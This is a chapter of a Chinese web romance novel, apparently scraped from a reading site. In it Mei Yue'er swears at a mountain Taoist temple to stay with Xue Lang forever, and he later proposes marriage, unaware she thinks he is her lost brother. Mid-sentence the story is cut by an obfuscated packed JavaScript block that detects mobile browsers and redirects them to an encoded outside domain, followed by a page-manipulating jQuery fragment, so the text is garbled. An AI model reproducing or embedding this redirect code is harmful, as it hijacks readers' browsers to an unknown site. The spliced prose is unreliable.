17. 立誓
作品:《误认太子为兄长》 七月初的齐郡,仿佛比青州的其他地方稍冷一些。
梅月儿曾经说过来齐郡的琴鹤山,上山拜一拜道观里的神仙。如今终于到了齐郡地界,有此机会,自然要去。
薛琅陪她前往。
山上覆着终年不化的小雪,陡峭、寒冷,马车停在无法再前进的小道岔口间,在山腰上,温度已经下降了好些。
梅月儿下了马车,薛琅握了握她的手,发觉她的指尖比平时要冷一些,不自觉地微微蹙眉。他将一件鹤氅拢在她肩上,给月儿系好带子。
梅月儿没穿过这么暖和轻便的衣服,她忍不住伸手摸了摸,里面的底子是白狐狸皮的,暖融融地拂过手背。
薛琅牵住她的手,走上琴鹤山的石阶。
行至山顶,天地皆白,一座人迹罕至的道观立在雪中,道观内外皆有一片烈焰般的红梅,殊丽无边。
梅月儿的心砰地猛跳了一下。好漂亮,在几乎没有冬天的青州,竟然有这样四季不变的霜雪。
她立刻雀跃起来,像飞回天际的鸟,马上要跑过去——却被轻轻拉住手,耳畔响起兄长的声音:“路滑,不要乱跑。”
梅月儿使了个巧劲儿,趁他不留神一下子挣出去,一边道:“听说这里的神仙可灵了,只是上山遥远偏僻,才没有鼎盛香火,哥哥,要是灵验,我替你求官运亨通!”
薛琅的掌中一瞬间空了,他收拢了一下指节,有些不习惯……梅月儿总是灵动多变,他偶尔会觉得,抓不住她、或者留不下她。
道观的门敞着,梅月儿敲了敲铜环,有一个道童过来,见到她这样的相貌、这样的打扮,宛若神仙中人,一时间震得呆了呆。随即,又望见薛琅和不远处等候的一列随从,马上老实地低下头行了礼,引着她进去。
殿内干净而静谧。
梅月儿留下香火钱,拜了正殿上供的祖师。她整一整衣裙,闭上眼,在心中许了好几个愿望,把自己能想到的人都祈福了个遍,最后才对神像说:
让我跟哥哥相认吧。
让我们永远永远在一起。
她睁开眼,看向薛琅。薛琅仍立在她侧后方,目光温和而长久地凝望着她,从兄长的眼睛,梅月儿似乎也读到了相同的愿景——哥哥也想跟自己永远在一起吗?
也就是这一瞬间,梅月儿忽想:
不能再拖延了。她一定要……要大胆地、鼓起勇气地跟他说出来。兄长是这样好的一个人,她该相信他,他会站在自己这边的。
她的唇瓣动了动,却没想出说什么来,只吐出几个字:“哥哥,我们去看山上的梅花吧。”
凡是她的要求,薛琅罕有不答应的。他颔首同意,说:“好,只是不要随便乱跑,摔了怎么办?”
梅月儿满口答应,可到了道观外的红梅林里,她却把这句叮嘱抛到脑后,像蝴蝶般穿梭翻飞,似乎一不留神,就会找不到她的踪影。
薛琅为她的不听话轻轻叹了口气,但目光触及到她的背影时,心中却被一股柔情填满,全无招架之力。
他好像彻底输了。
在规矩和克己的拉扯之中,她闯进来,似乎也没有用什么过人的手段,他就兵败如山倒……她心里,会不会觉得自己太没有原则了呢?
薛琅正出神,忽听见梅月儿清透的嗓音,叫他:“怀瑾哥哥!”
他的心弦为之倏然一颤。
披着鹤氅、显得毛绒绒的身影从不远处朝他奔过来,她怀里抱着几枝红梅,梅花依偎在她的脸颊,霜雪般的面孔上,一双明曜如火的眼睛。
他的目光全被梅月儿攫取,身体下意识地反应,张开手臂,将扑过来的少女抱在怀里。
梅月儿猛地埋进兄长的怀抱里,她身上沾了点薄雪,随着动作而簌簌轻落。她仰起头,从怀里取出最艳丽的那一枝,笑着说:“我为你找了半天,这一枝最俊。回去你在书案边插个瓶,很漂亮的。”
她说话时,濡湿的热气化成白雾,挟着梅香徐徐散去。薛琅几乎怔住了,目不转睛地看着她,耳畔尽是她发髻上流苏作响的沙沙声……他收紧手臂,将对方抱得更用力。
这一刹,他好想吻她。薛琅不自禁地靠近了些许,梅月儿却还极为天真地看着他,仿佛两人之间的感情纯洁无瑕。
天地俱寂,薄雪嘶嘶。
他喉结微动,停了下来,掌心却箍得很紧,不肯松手:“就为了找它么,冷不冷?”
“不冷的,哥哥。”梅月儿道,“我没有什么好东西能给你,你对我这么好,这样照顾我,送我好多首饰衣裳,我只能借花献佛,把这个送给你,希望神仙也保佑我们两个。”
“神仙保佑我们?”薛琅轻声重复,他悄然贴近,两人几乎成了耳语,梅月儿说话的雾气浅浅地氤氲而开。他的心遽然震动,“保佑我们什么呢?”
“保佑我们永远在一起!”她毫不犹豫。
在乐班看过太多悲欢离合,她对人世间的婚姻早就没有了期待。能让她期盼“永远”两个字的,只有她和哥哥。
薛琅抬指轻轻抚摸她的脸颊,月儿的脸冰冰的,他用掌心贴上去,给她恢复一些温度。他声音低沉柔和,像蛊惑、更像渴求:“月儿要永远陪着我,对吗?”
“是啊。”梅月儿回答,“你干嘛这么不信?像我骗过你一样。我才不会离开你呢,我发誓,月儿一辈子跟怀瑾哥哥在一起,琴鹤山在此,我不食言。”
薛琅接过她手中红梅,深深地凝望着她,最后道:“好。我会一直……记着你这句话。”
-
离开琴鹤山后,山下正是夏末初秋,逢一场绵绵不尽的小雨。
薛琅寻访完最后的一个县,准备启程回京,但在此之前,他有一件非常重要的事。
那就是请月儿跟他一起回京完婚。
她半生坎坷,自然没有亲眷能为她操办。既然如此,薛琅也就要替她筹谋——他不能让月儿受任何委屈,自然不会考虑什么侍妾、侧室,他要让她成为自己名正言顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432796|184419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的太子妃。
想要名正言顺娶她为妻,前前后后还有不少难关要过。为此,他会多一个让人肆意攻讦非议的把柄,这样致命的软肋也许会置他于死地。
但他顾不了那么多。
他只能顾及月儿一个人。
薛琅将那块随身的九龙玉佩摩挲了好几遍,心乱如麻,想不出要从何处开口。
与此同时,梅月儿也有一件非常重要的事要说。
她擎着一把青伞,在柳树下徘徊踌躇,裙摆被雨水沾湿了也顾不上。梅月儿在心里默念、打草稿:“怀瑾哥哥,其实我是你失散多年的亲生妹妹,你要是不信,拉开衣服看一看胸口的胎记——”
这么说行吗?
她咽了下口水,默默地踢走一粒石子,重新打腹稿:“怀瑾哥哥,我是你妹妹呀,就是你那个五岁走失的亲妹妹。你看我们长得是不是很像?你家丢的那个女儿,就是我啊!”
……这也……
不太好吧。
她没有证据,连个信物也没有。梅月儿一时沮丧,要是自己说完他不相信,会不会将她当成骗子?……两人好不容易建立了这么好的关系……
梅月儿鼓起的勇气渐渐消退,打起退堂鼓。就在此刻,另一把伞遮盖住她微微濡湿的肩膀,一股淡淡的水墨气息蔓延而来。
“哥哥?”她惊了一下,埋怨,“你怎么一点儿声音也没有啊。”
他正是来寻她的,可是等薛琅看见她站在树下的背影,汹涌的情愫堆积在胸口,竟然一时情怯,就这么看了她很久。
似乎就这么一直凝望下去,他也愿意。
但她走神得厉害,雨水沾湿了衣袖。薛琅忍不住上前遮挡,这才轻咳一声,稍稍静了静心,温声道:“分明是你在神游天外……在想什么?”
梅月儿在想彼此相认的大事。她舔了下唇,反问:“那你呢,怀瑾哥哥,你不该在书房里么?下着雨还出来做什么?”
她无意之间反将一军,薛琅沉默少顷,忽道:“因为我有事要跟你说。”
梅月儿笑起来:“这么巧,我也有事要跟你说,看来我们心有灵犀,想到一处去了!”
真是想到一处去了吗?
薛琅摩挲着玉佩,这不仅是定情信物,还是调动暗卫的徽记之一。他把九龙玉佩交给她,如同把自己的身份、权力,都与她共享。
“那你先说吧。”梅月儿露出很大度的样子,弯起眼睛,“是不是就要办完事情,该回去了?”
薛琅道:“是……还有。”
“还有什么?”梅月儿问。
连绵的小雨敲打在伞面上,翠叶飘拂,柳堤下的水波荡起重重涟漪。
在细碎的飘雨里,她听到薛琅字句清晰,极其郑重地说:“月儿,跟我回玉京,我们成婚。”
一道苍白无声的闪电在雨幕中闪烁。
梅月儿的心头轰然震响了一声,满腔的喜悦都被这道无声闪电贯穿,脑海的思绪凝滞在一刹。